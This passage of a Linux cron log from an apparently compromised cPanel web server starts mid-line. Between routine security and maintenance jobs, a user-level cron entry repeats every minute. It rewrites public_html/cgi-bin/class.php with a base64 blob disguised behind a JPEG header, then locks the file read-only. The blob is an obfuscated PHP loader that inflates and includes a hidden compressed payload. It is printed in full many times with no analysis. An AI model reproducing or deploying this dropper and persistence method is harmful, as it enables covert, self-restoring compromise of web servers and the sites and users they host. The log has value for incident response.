KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:42:01 server CROND[7963]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:42:01 server CROND[7964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:42:01 server CROND[7965]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 04:42:01 server CROND[7966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:43:01 server CROND[8436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:43:01 server CROND[8437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:43:01 server CROND[8438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:44:01 server CROND[8806]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:44:01 server CROND[8807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:44:01 server CROND[8808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:45:01 server CROND[9186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:45:01 server CROND[9187]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:45:01 server CROND[9190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:45:01 server CROND[9189]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 04:45:01 server CROND[9195]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 04:45:01 server CROND[9192]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:45:01 server CROND[9193]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:46:01 server CROND[10009]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:46:01 server CROND[10010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:46:01 server CROND[10011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:47:01 server CROND[10383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:47:01 server CROND[10384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:47:01 server CROND[10385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:48:01 server CROND[10753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:48:01 server CROND[10754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:48:01 server CROND[10756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:49:01 server CROND[11217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:49:01 server CROND[11218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:49:01 server CROND[11219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:50:01 server CROND[11609]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:50:01 server CROND[11611]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 04:50:01 server CROND[11612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:50:01 server CROND[11617]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 04:50:01 server CROND[11618]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 04:50:01 server CROND[11614]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:50:01 server CROND[11616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:50:01 server CROND[11620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:50:01 server CROND[11615]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 04:51:01 server CROND[12467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:51:01 server CROND[12468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:51:01 server CROND[12469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:52:01 server CROND[12834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:52:01 server CROND[12836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:52:01 server CROND[12837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:53:01 server CROND[13221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:53:01 server CROND[13222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
